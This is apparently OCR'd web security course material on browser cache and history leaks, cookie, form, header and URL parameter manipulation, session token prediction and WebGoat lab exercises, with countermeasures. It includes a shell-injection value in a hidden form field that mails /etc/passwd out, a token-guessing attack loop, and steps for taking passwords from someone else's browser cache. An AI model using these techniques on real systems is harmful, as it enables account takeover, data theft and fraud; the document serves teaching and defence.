com/cgi-bin/query?pg=q&what=web&fmt=.&q=%2Baudit+%?2Btrail+%2Bhide

If this was from the history file of someone at Microsoft, this might be quite interesting, even valuable.

Bookmarks are a problem for the same reason the history file is a problem. It shows what sites you are
regularly looking at. If you are bookmarking sites which require passwords to enter, a quick look in the cache
will possibly reveil that password, or at least the account ID.

The info gained from here can also be used for social engineering purposes, and can be quite useful. For
example, you could determine the user was interested in aquariums and rare fish. This information could be
used to assist in guessing a password.

The cache is your browser's way of making things a little easier on your access time, the server your accessing,
and the network in general. What happens is that when you access a web page, a copy of the page and any
graphics used on that page are stored locally. That way when you access the page again, your browser can pull
up the local copy instead of always accessing the network. This saves time and bandwidth. When you reload,
your browser compares the cached local file to the one on the server you are accessing and pulls down the
latest one. Most browsers will also cache queries and form submittals as well.

If you are looking for dirt on someone, looking for credit card information, or just want to find out what
someone's been up to, check their cache. Every query to a search site like AltaVista is stored in cache. Typically
every form submittal including accesses to pages requiring an ID and password will be there, unless a site has
tagged an HTML document NOT to be cached.

The cache is typically located in a subdirectory underneath the browser's working directory called "cache" or
possibly ".netscape-cache", depending on your OS and browser version. Otherwise it may be stored in a
temporary directory. For example, IBM's Web Explorer for OS/2 will store it's cached files in c:\tcpip\tmp, and
is flushed before each run of the program.
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Here is an example from the cache's index file on a Unix workstation, with names changed to protect the
innocent ;-)

n b http://altavista.digital.com/cgi-bin/query?pg=q&what=web&stq=

10&fmt=.&q=%2bhack+%?2bnt+%?2bserver 3 ,EB1L O
00/cache31DF458002EC693.cgi
t
ext/html .

4 ( http://www.nt.target.com/user/register.cgi ®

rEB1L OO O 10/cache31DF457002CC693.html
text/html (]|
" http://www.nt.target.com/use

r/welcome.html b o[B1 1O O 14/cache31DF18940
27C693.html
text/html ]

Very interesting. Here are three entries. The first this user is trying to get NT hacking info from AltaVista, the
second this user is trying to get signed onto a site called www.nt.target.com, and finally the user looks like they
got in. The three cache files are:

= 31DF458002EC693.cgi
= 31DF457002CC693.html
= 31DF1894027C693.html

You could view these files with a browser, as they are local copies of the web pages. If 31DF457002CC693.html
had a password in it and it was unreadable, you could still do the following -

= Access the site yourself and try to login.

=  Check your own cache and replace your cached file with the 31DF457002CC693.html file, renaming it
to what YOUR cache file was.

. Resubmit the form. If the site isn't doing any other security than a password, you might get in.

. If you still don't get in, try substituting the cookie file as well (see next section).

SSL documents are stored in cache, depending on browser version and settings. In Netscape 3.0 and later this
problem is resolved. But still it exists as a problem in Microsoft Explorer 3.0. The files are located in
\WINDOWS\Temporary Internet Files. For more details on this, see
http://www.iol.ie/~fod/sslpaper/mscache.htm.
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Countermeasure

Several steps can be taken to help prevent sensitive data being accessible to those other than the intended
user. However in general web applications should assume all users will connect form a public terminal and only
serve up personal data when needed. Applications can give the user the choice of more privacy and ensure that
the following countermeasure are met on each page.

Pre-Expire pages - ensures that the page is already expired and the browser will always get a fresh copy.

<meta-http-equiv="Expires" content="Thursday, 10-Jan-69 00:00:00 GMT"> or <META HTTP-EQUIV="Expires"
CONTENT="-1">

Pragma-Cache - Whilst preventing proxy servers from caching content served through them is extremely
difficult, the pragma cache meta tag tells proxy servers not to cache pages with the tag set to no_cache.

<meta http-equiv="Pragma" content="no_cache">

No-Cache - the no-cache tags tells browsers not to cache pages. A side effect is that the back button will

typically send a pop-up asking the user to repost the request.

<META HTTP-EQUIV="Cache-Control" CONTENT="no cache">
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2.7 Browser History

Introduction

Most HTTP user agents (web browsers) retain a history list of visited web sites. This is used to prompt users to
auto-complete frequently visited URL's. These history lists however can reveal significant private information
that maybe able to be used to build attacks.

Detail

Browser histories contain URL history information including extended path data for all sites visited. As well as a
list of visited sites, URL history lists can contain sensitive data submitted by forms. When submitting a form if
the submit method uses a GET request, the parameters sent will be visible on the URL history. If an application
uses the POST method the parameters are sent as the entity body of the request and therefore not visible.
Take for instance this password reset application that uses a GET request.

When the user enters the information the HTTP request would actually look like this;

http://www.victim.com/cgi-bin/password?username=adaftuser@&newpassword=testerl

Common mistakes include credit card numbers, account numbers, passwords and private data like addresses.

Countermeasure

Always use POST to submit forms
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2.7 Excersises

Excercise 1: Becoming familiar with spike proxy

Setup your browser to use 127.0.0.1 port 8080 as your proxy.

Connect to http://127.0.0.1:9090/WebGoat/attack

Submit a request using HTTP Basics
http://127.0.0.1:9090/WebGoat/attack?Screen=18

Review your results using spikeproxy, conduct the same submission using spike proxy
Submit a request using HTML clues

http://127.0.0.1:9090/WebGoat/attack?Screen=4

Discover the username & password and use spikeproxy to submit the correct results

Exercise 2 : Directory enumeration

Use spikeproxy to enumerate possible directories on http://127.0.0.1:9090/WebGoat/attack

Attempt to enumerate using your own possiblities, there is a directory which will be essential in later
excercises.

Did you see what type of webserver this is ?
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Exercise 3 (D): Buggy Bank Caching

Datei Bearbeiten Ansicht Favoriten Bxras ?

®Zurtick v & ~ @ [ & | @suchen EFavoriten DMedien & |2 S W v EH %
Adresse IE;'I http: /192,168,110, 100/cgi-binfwm.cgi ?rransaction =logout

Bank Account Access

User Guide

Bugg

iifebMaven Home

Install Guide
Thank vou for hacking at Buggy Bank...please come back if you need more money.

Eeturn to login page.

[Weblfaven Home] [Install Guide] [User Guide]

Please contact our Webmaster with questions or comments.
& Copyright 2002 Dawid Fhoades

Ausgangslage: Auf Buggy Bank ist kein Anti-Caching implementiert: Einmal eingeloggt speichert der Browser
diese Anmeldeinformationen. Der Benutzername wird fiir die Loginseite vom Browser im Cache gespeichert.
Nach abmelden von der Buggy-Bank bringt ein einfaches Browser ,Back“den Benutzer wieder in die Applikation

zurick.

Test: Einloggen, ausloggen und anschliessend neue Seite aufrufen > Dannach 2 x Back-Button driicken.

Empfehlung:
Anti-Cache benutzten: Beispiel PHP (fiir andere Technologien ahnlich)

Cache-control: must-revalidate
Cache-control: no- cache="set-cookie™
Cache- control: privat

"Cache-control” veranlasst Browser die Seite vom Server neu anzuforden anstatt diese aus dem Cache zu
lesen.

Bsp. PHP: session_unset(), session_destroy() or $_SESSION["alive™]=0
Damit kann der Benutzer nicht mehr mittels ,Zurick®™ auf die letzte Seite gelangen. Eine neue Seite kann

anstelle angezeigt werden.

Referenzen

Caching generell http://www.web-cache.com

RFC2109 http://www.fags.org/rfcs/rfc2109.html
PHP Session Management http://ch.php.net/session
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3. Parameter Manipulation

3.1 Cookie Manipulation

Introduction

Parameter Manipulation is a class of attack where a malicious user is able to modify data sent between the
client (web browser) and web application that he was not intended to have direct access to. Parameter
Manipulation can be done with URL Query Strings, Form Fields and Cookies.

Detail

Parameter Manipulation is a class of attack where the malicious user is able to manipulate data being sent
between the web browser and the web server (and consequently back to middle-ware / back-ends) to his / her
advantage. Traditionally Parameter Manipulation is referred to as manipulating query strings but any data such
as cookies and form fields should be considered.

Cookies are defined by BCP44 are the preferred method to maintain state in the stateless HTTP protocol. They
are however also used as a convenient mechanism to store user preferences and other data including session
tokens. Both persistent and non-persistent cookies, secure or insecure can be modified by the client and sent to
the server with URL requests. Therefore any malicious user can modify cookie content to his / her advantage.
There is a popular misconception that non-persistent cookies can not be modified but this is not true; tools like
Winhex are freely available. SSL also only protects the cookie in transit.

The extent of cookie manipulation depends on what the cookie is used from but usually ranges from session
tokens to arrays that make authorization decisions. (Many cookies are Base64 encoded; this is an encoding
scheme and offers no cryptographic protection).

Cookie poisoning

Cookie poisoning is a known technique mainly for achieving impersonation and breach of privacy through
manipulation of session cookies, which maintain the identity of the client. By forging these cookies, an attacker
can impersonate a valid client, and thus gain information and perform actions on behalf of the victim. The
ability to forge such session cookies (or more generally, session tokens) stems from the fact that the tokens are
not generated in a secure way. In this paper, we explain why session management (and session management
security) is a complex task (which is why it is usually left for commercial products). We describe how the tokens
are generated for two commercial application engines. We then analyze the strength of each mechanism,
explain its weakness, and demonstrate how such weakness can be exploited to execute an
impersonation/privacy breach attack. We discuss the feasibility of the attack. Finally,we recommend an
approach to session management which separates the security from the functionality — the latter is carried out
by application engines, while the former should be provided by a dedicated application security product.

Session maintenance

In web application programming, Session Management is complex and awkward. The programmer needs to
worry about many aspects of session management which can defocus him/her from the main goal -
implementing the business logic that makes the site unique and profitable. Specific issues are:

. Session creation and identification - how to ensure that when a new session is needed, it is indeed
created? The programmer must identify that a client has a need for a session, create the session and
assign the client a session.

= Concurrency issues - when two clients access the site simultaneously, each requiring a new session, it
is necessary to make sure that the session creation process will still function correctly.

=  Session termination and timeout - what triggers a session termination? How are the resources of the
terminated session recycled? What happens if the client tries to access the site when the termination
process is Session data storage, multiple servers, fail-over — where is the session data stored (on disk?
in RAM?)? What is the performance penalty? What happens in a multi-server site if a client accesses a
first server (and establishes a session with it) and then is directed (by a load balancer) to a second
server? What happens to the client session data in case the original server crashes?
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Security-wise, the following considerations must be made:

. It should never be possible for one client to be able to predict the token another client received, or is
in the process of receiving, or will receive. This is obviously a *‘must have’ in order to prevent
impersonation attacks and consequently breach of privacy.

] Furthermore, it is desirable that a client will not be able to predict the next token he/she will get when
accessing the site. This is useful in minimizing the damage of stealing the token while it travels (in the
clear) to and fro, and while it is stored on disk at the client.

= Any token should have a reasonable expiration period - again, to minimize the damage of it being
stolen.

As can be seen, it is not very easy to fulfill all these requirements, especially if the session mechanism is
developed ad-hoc. The more intricate security requirements are definitely something developers, especially
ones not versed in security, may easily miss. One recent example is the cookie mechanism that was employed
by Verizon Wireless (www.verizonwireless.com and www.app.airtouch.com). The security problem is mentioned
in the press (http://www.newsbytes.com/news/01/169781.html), and in technical resources
(http://online.securityfocus.com/archive/1/211520 - a report by Marc Slemko, dated September 1st, 2001). To
quote from the latter:

Cell phone bills are often very interesting things, since they contain names, addresses, and a complete record
of calls placed and received, along with the approximate location the user was when the call was made. I'm
sure I'm not alone in expecting my provider to provide a reasonable level of privacy for this data. A typical URL
used by this "my account" service is:

https://www.app.airtouch.com/jstage/plsgl/ec navigation wrapper.nav_frame display?p session id=3346178
&p host=ACTION

Note the p_session_id parameter. This is the only session identifier used. They are assigned sequentially to
each user as they login, and are valid until the user logs out or the session times out. Obviously, this makes it
trivial to access the sessions of other users by guessing the session ID. Automated tools to grab this
information in bulk as users login over time are also trivial. As we see here, the problem is simple: the Verizon
Wireless site assigns a token (in this case, it appears as a parameter named p_session_id) to each logged-in
visitor in the site. This token is used to identify the visitor. The token value is sequentially incremented per
each new visitor, hence if you're a visitor and your p_session_id is N, the next visitor will be assigned N+1. This
is an extremely predictable mechanism, and it completely violates all security requirements (although it
probably fulfills all the functional requirements). mMany other examples of insufficient security in tokens are
demonstrated in the work of MIT Laboratory for Computer Science (“"Dos and Don‘ts of Client Authentication on
the Web” by Kevin Fu, Emil Sit, Kendra Smith and Nick Feamster)
http://cookies.lcs.mit.edu/pubs/webauth:tr.pdf So we see that it is difficult to come out with a good session
management solution, let alone a secure session management solution. This is one of the reasons why
application servers are so popular.

Application Servers/Engines — a solution and a problem

An Application Server (or Application Engine) is a software program designed to make the life of the application
developer easy. It usually offers the programmer the ease of writing HTML pages with directives for the server
embedded in them, instructing the server to perform various tasks. Most application servers provide the
programmer an environment that takes care of the session automatically, relieving the programmer from all the
worries mentioned in the above section. Examples of application servers:

] Microsoft ASP (Active Server Pages) - runs on top of IIS.
L] Macromedia (formerly Allaire) ColdFusion

=  Apache Tomcat

=  Apache JServ

= PHP

L] BEA WebLogic

= IBM WebSphere

L] BroadVision

Some frequency analysis can be found here:

(https://securel.securityspace.com/s survey/data/man.200203/cookieReport.html), through associating the
cookie names with the server that issues them. This is of course biased, since some servers and sites use
tokens in form parameters rather than in cookies. The upside of application engines is the fact that they
completely relieve the programmer from worrying about session management. All functionality aspects of
session management are taken care of, usually much better than an in house programmer could have achieved.
The downside of application engines is the fact that they seem to relieve the programmer from worrying about
the security of the token, yet we can show that the harsh reality is far from that. In fact, some very popular
application engines do not provide secure tokens. As a result, the programmer obtains a false sense of security.
We examined the tokens generated by two popular application servers. In both cases, we were able to
demonstrate that the token is not as random as it seems, and that it is possible (in one case, with ease), to
predict the values of the token for the next sessions (of a different client).
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Example 1 — beating a time based token

The target of this attack is a very popular commercial application engine. The product uses two cookies to
identify a session. The pair formed by the two cookies identifies the session. The first cookie is merely a
counter, incremented once per new session. It probably ensures that no two pairs are ever identical. The
second cookie is the token cookie, apparently intended to secure the pair by being “unpredictable”. Since it is
very easy to predict the first cookie, we focus on the second cookie, which we’ll denote as "TOKEN".

At first glance, TOKEN seems to be a sequence of random 8 decimal digits. The entropy (amount of
randomness) here is 108 = 226.57 which may be considered sufficient, considering that mit’s quite unfeasible
to try such amounts of requests (100 million) against a site without triggering some kind of alarm and human
attention. But, a closer look reveals that in fact, TOKEN obeys the following equation: Let us denote by t the
GMT time, in seconds, since 01/01/1970 00:00, as set on the application server. Let us denote by m the
milliseconds portion of the tick counter on the application server. Then:

TOKEN= ( 31415821 * (t + m) + 1 ) mod 100000000

It is interesting to note that t can be extracted from the HTTP Date header the serversends back to the client
together with the first time the cookies are set. This means that the TOKEN cookie is quite predictable. In fact,
if one knows a range of time T < t < T+AT (in seconds) in which a cookie was generated, one can infer that
TOKEN has one of AT+1000 values, which is a rather short list of values. Testing a bit more than a thousand
values against the server may take few minutes, in which the victim session is likely to remain active. The
outline of an attack algorithm is as following: Obtain a first pair (id1, TOKEN1). Record t1 - the server time
(from the Date HTTP header), Wait AT seconds. Obtain a second pair (id2, TOKEN2). Record t2 - the server
time (from the Date HTTP header)

if (id2 > id1 +1)

begin

// we have a victim session interjected here.

for (x=tl1 ; x < t2 +1000 ; x++) // which is AT+1000 iterations
begin

Try the pair (id1 +1, ( 31415821 * x + 1 ) mod 100000000)
end

end

In fact, it is possible to improve this algorithm in some cases by using the fact that on some operating systems,
the tick counter does not have millisecond granularity, but rather a coarser granularity of around 10msec. This
can be used to reduce the search space even further. The attack described above enables the attacker to
impersonate a victim, provided that such victim was assigned a cookie between the two samples the attacker
made of the site cookies. Since the attacker can repeat the algorithm as many times as he/she would like, it is
possible for him/her to obtain these cookies for all clients, at a price of sampling the site (say, one request
every minute), and additionally some 1060 requests per any new client discovered. Again, as hinted above, it is
possible to sample at closer intervals (once a second) and exploit the granularity problem of the clock ticks, in
which case it is probably possible to arrive at 100 requests per new client. It is likely that if an attempt to
impersonate a client is performed while the site is loaded with traffic, then the additional hundreds/thousands
of request would go unnoticed, at least momentarily.

Conclusion

We see session security falls between the cracks —vendors don’t do it right, don’t care for it, or delegate the
responsibility for it to the developers, while in-house development is error-prone, and requires a deep
understanding of security. In this paper, we provided real life examples for both insecure tokens in commercial
application engines, as well as in home grown applications. Our solution is simple - the world of web
applications should consist of three components:

= The application (which is developed in house, and expresses the business logic, as well as the novelty
and specialty of the company/site).

= The application environment (the application engine and web server, which enable easy application
development and focus on the application rather than on infrastructure).

=  Web application security component, which takes care of the application security, again relieving the
developers (and to some extent, the application engine developers too!) from having to worry about
secure implementation of their application. In all the above cases, a web application firewall would
have fortify the tokens generated by the application engines (or by the in house developed application)
transparently (the developer needn’t even be aware of this), and ensure, through using strong
cryptography and security tested mechanisms, that the tokens sent to the application are indeed
genuine, and not forged.
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Example (real world example on a travel web site modified to protect the stupid)

Cookie: lang=en-us; ADMIN=no; y=1 ; time=10:30GMT ;
The attacker can simply modify the cookie to;
Cookie: lang=en-us; ADMIN=yes; y=1 ; time=12:30GMT ;

Countermeasure

Cookie manipulation can be prevented by using appropriate cryptography to ensure that the malicious user can
not modify the cookies contents.

Another technique is to use a one way function to hash the cookie and compare the returned cookie with the
issued cookie.
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3.2 Form Field Manipulation

Introduction

Parameter Manipulation is a class of attack where a malicious user is able to modify data sent between the
client (web browser) and web application that he was not intended to have direct access to. Parameter
Manipulation can be done with URL Query Strings, Form Fields and Cookies.

Detail

Parameter Manipulation is a class of attack where the malicious user is able to manipulate data being sent
between the web browser and the web server (and consequently back to middle-ware / back-ends) to his / her
advantage. Traditionally Parameter Manipulation is referred to as manipulating query strings but any data such
as cookies and form fields (hidden or otherwise) should be considered.

When a user makes selections on an HTML page, the selection is typically stored as form field values and sent
to the application as an HTTP request (GET or POST). HTML can also store field values as Hidden Fields which
are not rendered to the screen by the browser but are collected and submitted as parameters during form
submissions.

Whether these form fields are pre-selected (drop down, check boxes etc.), free form or hidden, they can all be
manipulated by the user to submit whatever values he/she chooses. In most cases this is as simple as saving

the page using "view source", "save", editing the HTML and re-loading the page in the web browser.

Example 1

An application uses a simple form to submit a username and password to a CGI for authentication using HTTP
over SSL.

Some developers try to prevent the user from entering long usernames and passwords by setting a form field
value maxlength=(an integer) in the belief they will prevent the malicious user attempting to inject buffer
overflows of overly long parameters. However the malicious user can simply save the page, remove the
maxlength tag and reload the page in his browser. Other interesting form fields include disabled, readonly and
value.

Hidden Manipulation

Hidden Form Fields represent a convenient way for developers to store data in the browser and are one of the
most common ways of carrying data between pages in wizard type applications. All of the same rules apply to
hidden forms fields as apply to regular form fields.

Hidden fields are often used to save information about the client's session, eliminating the

need to maintain a complex database on the server side. A client does not normally see the

hidden field and does not attempt to change it. However, modifying form fields is very

simple. For example, let's assume the price of a product is kept in a hidden field, a

common practice allowing for e-shoplifting, and thus is trusted by any back-end system. A

hacker can change the price, and the invoked CGI will charge him/her for the new amount,

as follows:

1. Open the html page within an HTML editor.

2. Locate the hidden field (e.g., "<type=hidden name=price

value=99.95>")

3. Modify its content to a different value (e.g. "<type=hidden name=price
value=1.00>")

4. Save the html file locally and browse it.

5. Click the "buy" button to perform electronic shoplifting via hidden manipulation.
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Form Manipulation with E-Mails

Here's the typical example. A web author has a form on a page that allows the public to send email to a certain
address. But what if the author is going to be on vacation? What if the address needs to be changed each
month? By including the address in the form the web author doesn't have to change the CGI script. Outside of
the normal fields for From:, Subject:, etc. there is usually something in the form like this -

<INPUT TYPE="hidden" NAME="HelpAddress" VALUE="help@thegnome.com">

After clicking on the submit button, it goes to a CGI script. Once again it is typical to write out the info to a
temp file and then read it back in to be sent to sendmail -

/* code snippet in C, although you can do the same type thing in Perl */
sprintf(buffer, "/usr/lib/sendmail -t %s < %s", foo_address, input_file);
system(buffer);

A shell is being forked, and since in the code above the variables are being passed without being checked for
extra stuff, you could copy the page locally (virtually every browser allows you to save the current document as
a local HTML file). Once copied, edit the form to include the following -

<INPUT TYPE="hidden" NAME="HelpAddress"
VALUE="help@thegnome.com;cat /etc/passwd | mail thegnome@5th.column.gov">

Note the addition including the semicolon. Since the semicolon tells the forked shell it has another completely
separate command to run, which in this example sends the passwd file to a government spy.

It should be pointed out that for the most part you will have no idea that this type of technique is going to work
until you try it. And look around, you will sometimes see these attempts at various places. It's always funny to
see this entry in a guestbook -

From: fred@kissmybutt.com (200.200.200.200, 7/7/96 09:10 a.m. CST)
Loved your web page. Looks nice.;mail phil@idiot.com < cat /etc/passwd

Not only does it have Phil's email address, but his real IP address and a time stamp.
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Example 2: http://81.6.5.231/AcmeHackme/bank/apply.aspx?

‘ Hackme Bank - Microsoft Internet Explorer

& - - 3 4@ E : 3-S5 H- =
@ hitp: v, hackmebank. comfdcmeH ackme/bank /apply. asps toardtype=Goldilimit=1 EIEIEIEI&interes o

Reserve your Hackme Bank Card Today!

Mo application 1z needed.
To approve your new 510000 Hackme Gold Visa with an 7. 9% APER simply enter your
password below,

Password: | |

E
g Tk

<form method="post" name="Credit" action="confirmcard.aspx">
<input type="hidden" name="card_type" value="Gold">

<input type="hidden" name="limit" value="10000">

<input type="hidden" name="interest" value="7.9">

<input type="hidden" name="userid" value=100416016>

Changing these values and submitting :

‘ Hackme Bank - Microsoft Internet Explorer

- 5>-D@aa e Bvieden 3| B 5 W -
@ hittp://81.6.5.221 AhcmeH ackmesbank./apply. aspe Y cardippe=6 ol d&imit=28222% interezt=-12

"1'.'.3 ;

| SEARCH | LOGOUT | ACCOUNT | CONTACT | FORUM

Reserve your Hackme Bank Card Today!

Mo application 15 needed.
To approve your new 88888 Hackme Gold Visa with an -12% APE simply enter your
password below.

Password: | |

[Submit ] 5
@ &
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Countermeasure

There are several ways you can prevent this sort of attack, but all essentially work by coupling the parameters
being passed to the application with the users account via some form of "session token".

This is usually done by creating an encrypted session token (embedded with a time-stamp and other data) that
can't be changed by the user. Each time parameters are passed to the application, it checks to see if the
session token is valid (only the application was able to read it thus proving only itself set the token). Session
tokens are typically set using secure session cookies to protect them from capture and replay when transmitted
across the Internet.

Another technique is to encrypt a parameter (the session token) on the form field and require it to be re-
submitted with the request. The cryptography and validation routines must all be carried out server-side and
the session token must be constructed so as to prevent replay attacks.

<input name="masteraccess" type="hidden" value="sa8ay23&"*&"74438&*(20f9dsf"
Note : Care must still always be taken to ensure that the valid parameters being passed in the form fields and

the parameters sent from the browser are allowed to perform the action requested ; i.e. authorization checks
should still always occur
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3.3 HTTP Header Manipulation

Introduction

Parameter Manipulation is a class of attack where a malicious user is able to modify data sent between the
client (web browser) and web application that he was not intended to have direct access to. Parameter
Manipulation can be done with URL Query Strings, Form Fields and Cookies.

Detail

Parameter Manipulation is a class of attack where the malicious user is able to manipulate data being sent
between the web browser and the web server (and consequently back to middle-ware / back-ends) to his/her
advantage. Traditionally Parameter Manipulation is referred to as manipulating query strings but any data
such as cookies, form fields and HTTP headers should be considered.

HTTP headers are control information passed from web clients to web servers on HTTP requests, and from web
servers to web clients on HTTP responses. Each header normally consists of a single line of ASCII text with a
name and a value. Sample headers from a POST request follows (for more information on headers, read RFC
2616 which defines HTTP/1.1):

Host: www.someplace.org

Pragma: no-cache

Cache-Control: no-cache

User-Agent: Lynx/2.8.4dev.9 libwww-FM/2.14
Referer: http://www.someplace.org/login.php
Content-type: application/x-www-form-urlencoded
Content-length: 49

Often HTTP headers are used by the browser and the web server software only: Most web applications pay no
attention to them. In some cases web developers choose to inspect incoming headers, and in those cases it is
important to realize that request headers originate at the client side, and they may thus be altered by an
attacker.

Normal web browsers do not allow header modification. An attacker will have to write his own program (about
15 lines of perl code will do) to perform the HTTP request, or he may use one of several freely available proxies
that allow easy modification of any data sent from the browser.

. Example 1: The Referer header (note the spelling) which is sent by most browsers, normally contains
the URL of the web page from which the request originated. Some web sites choose to check this
header in order to make sure the request originated from a page generated by them, to eg. prevent
attackers from saving web pages, modifying forms, and posting them off their own computer. This
security mechanism will fail, as the attacker will be able to modify the Referer header to look like it
came from the original site.

] Example 2: The Accept-Language header indicates the preferred language(s) of the user. A web
application doing internationalization (i18n) may pick up the language label from the HTTP header and
pass it to a database in order to look up a text. If the content of the header is sent verbatim to the
database, an attacker may be able to inject SQL commands by modifying the header. Likewise, if the
header content is used to build a name of a file from which to look up the correct language text, an
attacker may be able to do directory traversals.

In general, if HTTP headers are used by a web application, attackers may modify them to include meta
characters that take control over systems that eventually receive the header data.
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Example

“J Untitled - Microsoft Internet Explorer =10 x|
Datei  Bearbeiten  Ansicht  Favorten  Eatras 7 i
s Zuiick + = - () ot | ‘ChSuchen  [&]Favoriten i Medisn <4 | Bt =0 [
Adresze http: /hackmelinus. netpratect. ch/challenge/games/ j f? Wechseln zu | Links

=
Access denied
Credentials: O |
You need to came from © http:/fwwew netprotect. ch to access this page FAILED |
ohh well... try again
-
|£] Fertig I_l_l_lﬂ Internet &

So we change our refer field so the header looks like :

GET /challenge/games/4/validate_form.php? HTTP/1.1

HOST: hackmelinux.netprotect.ch

Referer: http://www.netprotect.ch

ACCEPT: */*

Accept-Encoding: None

User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Connection: Close

Accept-Transfer-Encoding: None

Cookie: PHPSESSID=49e49a262a934a842250fd2c53b81749

Countermeasure

HTTP header manipulation cannot, in general, be prevented. The remote user has full control over whatever his
computer is sending. Never base security on trust in the HTTP headers. Never use incoming HTTP headers
without validating the contents. Never pass the contents of HTTP headers to other systems (such as SQL
databases) without properly handling/escaping meta characters understood by that system, even if such meta
characters normally do not occur in the header used.
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3.4 URL Manipulation

Introduction

Parameter Manipulation is a class of attack where a malicious user is able to modify data sent between the
client (web browser) and web application that he was not intended to have direct access to. Parameter
Manipulation can be done with URL Query Strings, Form Fields and Cookies.

Detail

Parameter Manipulation is a class of attack where the malicious user is able to manipulate data being sent
between the web browser and the web server (and consequently back to middle-ware / back-ends) to his / her
advantage. Traditionally Parameter Manipulation is referred to as manipulating query strings but any data such
as cookies and form fields should be considered.

When a user makes selections on an HTML page, they are typicaly stored as form field values and sent to the

application as an HTTP request (GET or POST). Despite GUI selections, the user can choose to send whatever
parameter values he/she chooses by constructing a request string of his choosing.

Example

Jsmith logged in his online bank and looked at his account details

i
Datei  Bearbeiten  ansicht  Favorten  Exhas 7 ﬁ
G Zuiick + = - () [0 & | QSuchen [EFavaien Dueden | Y- S W - 2
Adiege |g] http: /4wy hackmebank. comtcmeHackme/bank/account aspx j @Wechse\n zu | Links

—\ SEARCH | LOGOUT | ACCOUNT | CONTACT | FORUM B

Account History - 1001160140

Balance Detail

1001160140 Checking =] Select Account | Amount

[Ending balance as of 17.07.2003 04:55:13 §3364.49

[svailable balance §3364.49 =

Credits

Account ‘ Date Description Amount

1001160140 |12.15.1987 Deposit 1050885

1001160140 |11.15.1987 Deposit $1050.88

1001140140 1015 1987 Tenosif £ 1050 87— =l
lel | 1| | inemet 4

Changing the account ID shows him the account details of an account he does not own
http://www.hackmebank.com/AcmeHackme/bank/account.aspx?listAccounts=1002160180

3 Hackme Bank - Microsoft Intemnet Explorer -1o] x|
Datei  Bearbeiten  Ansicht  Favoriten  Extraz 2 ﬁ

23 < ﬁw’echseln 2u ‘ Links

| ScARCH | LOGOUT | ACCOUNT | CONTACT | FORUM

Account History - 1002160180

Balance Detail
7001160140 Checking 5] Select Account | Amount
Ending balance as of 17.07.2003 04:53:46 £ 3364.489
|Available balance § 3364.49
Credits El
|&] Fertig [ | s ntemet 7
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Countermeasure

There are several ways you can prevent this sort of attack, but all essentially work by coupling the parameters
being passed to the application with the users account via some form of "session token".

This is usually done by creating an encrypted session token (embedded with a time-stamp and other data) that
can't be changed by the user. Each time parameters are passed to the application, it checks to see if the
session token is valid (only the application was able to read it thus proving only itself set the token). Session
tokens are typically set using secure session cookies to potect them from capture and replay when transmitted
across the Internet.

Another technique is to encrypt a parameter (the session token) on the query sytring and require it to be re-
submitted with the request. The cryptography and validation routines must all be carried out server-side and
the session token must be constructed so as to prevent reaply attacks.

www.target.com/example?user=P&"JNSBJIB:KH]SL&debitamount=1

L] Note : Care must still always be taken to ensure that the valid parameters being passed in the cookie
and the parameters sent from the browser are allowed to perform the action requested ; i.e.
authorization checks should still always occur.

= Note: Using a GET request makes parameter manipulation somewhat easier for the casual attacker as
the request and all parameter are easily manipulated in the browser history. Using a POST method
sends the parameters in the entity body of the request thus they are not viewable in the browsers
history file. However you should never rely on a parameter being out of sight, to protect it form not
being replayed.
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3.5 Excercises

Excercise 1 : Parameter Injection
Perform a directory listing of the webserver using the Parameter Injection exercise at

http://127.0.0.1:9090/WebGoat/attack?Screen=11

. Can you read the contents of /etc/hosts ?
= Create a file called howdee_file in /tmp/ with the contents “howdee there”
=  What are the file permissions of this file you created ? Does that tell you anything ?

=  What services are running on the webserver machine ?

Exercise 2 : Hidden Field Tampering

Your task is to order yourself something at http://127.0.0.1:9090/WebGoat/attack?Screen=16

BUT, you have to pay only $1 for the item !

Use spikeproxy to submit your purchase request.
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4. Input Validation

4.1 Cross Site Scripting

INTRODUCTION
Almost all of today’s “stateful” web applications use cookies to associate a unique account with a specific user.
Some of the most popular web-based e-mail (webmail) applications include Hotmail (http://www.hotmail.com),
Yahoo! (mail.yahoo.com), and Netscape (webmail.netscape.com). Easily over 250 million people on the
Internet use these webmail applications. Additionally, most retail, banking, and auction sites use cookies for
authentication and authorization purposes, easily accounting for just as many unique user accounts on their
collective sites. In a typical web application logon scenario, two authentication tokens are exchanged — a
username and password — for values stored in a cookie, thereafter used as the only authentication token. It is
commonly understood that a user’s web session is vulnerable to hijacking if an attacker captures that user’s
cookiesl. Perhaps the most popular scheme for stealing an Internet user’s cookies involves exploiting Cross-
Site Scripting (XSS) vulnerabilities. As web application security is becoming a hot topic, the media has latched
on to several XSS vulnerabilities recently as the security and privacy implications to the Internet-using public
have become clear.2,3,4,5,6 There are also other less frequently used indirect methods employed by attackers
to steal a user’s cookies including DNS cache poisoning, exploiting a bug in the client’s web browser, or tricking
the user into installing a Trojan horse. Once the cookie has been obtained, the active attacker can then (if he or
she is quick enough) load the pilfered cookie values, point the browser to the appropriate web application site
(e.g. hotmail.com, mail.yahoo.com, etc.) and access the victim’s account without bothering to spend time
cracking the correct combination of username and password. This has obvious implications depending on the
application: an attacker could read a victim’s e-mail inbox, access bank records and write a check to his or
herself using online bill pay, or buy items using cached retail credit information on sites like Amazon and eBay.
For this exploitation to be successful, the attacker must perform these actions before the user’s session has
expired or else receive a “session expired” error page. So far, nearly all of the web application session hijacking
techniques disclosed to the public have involved an “active” attacker, a warm body who in real-time is trying to
break into an account before the victim logs off or before the web application expires the captured victim’s
cookies. However, security trends all point to the emergence of automated web hijacking exploits that will
require little or no supervision from the attacker. Essentially, the only things a potential attacker would require
is knowledge of a XSS hole and CGI authoring access on a web server. Technical details and script examples
are given in the following sections.

1 http://www.idefense.com/idpapers/SessionIDs.pdf

2 http://www.cnn.com/2000/TECH/computing/12/08/schwab.cost.idg/

3 http://www.usatoday.com/life/cyber/tech/2001-08-31-hotmail-security-side.htm
4 http://www.thestandard.com/article/display/0,1151,18849,00.html

5 http://www.newsbytes.com/news/02/174173.html

6 http://www.infoworld.com/articles/hn/xml/01/11/04/011104hnpassport.xml

CROSS-SITE SCRIPTING

Cross-Site Scripting (CSS) attacks require the execution of Client-Side Languages (JavaScript, Java, VBScript,
ActiveX, Flash, etc.) within a users web environment. This type of attack differs from others in that the target is
the user directly rather than the system itself.

Document Object Model (DOM) The Document Object Model is a accessible application interface that allows
Client-Side Languages to dynamically access and modify the content, structure and style of a web page.

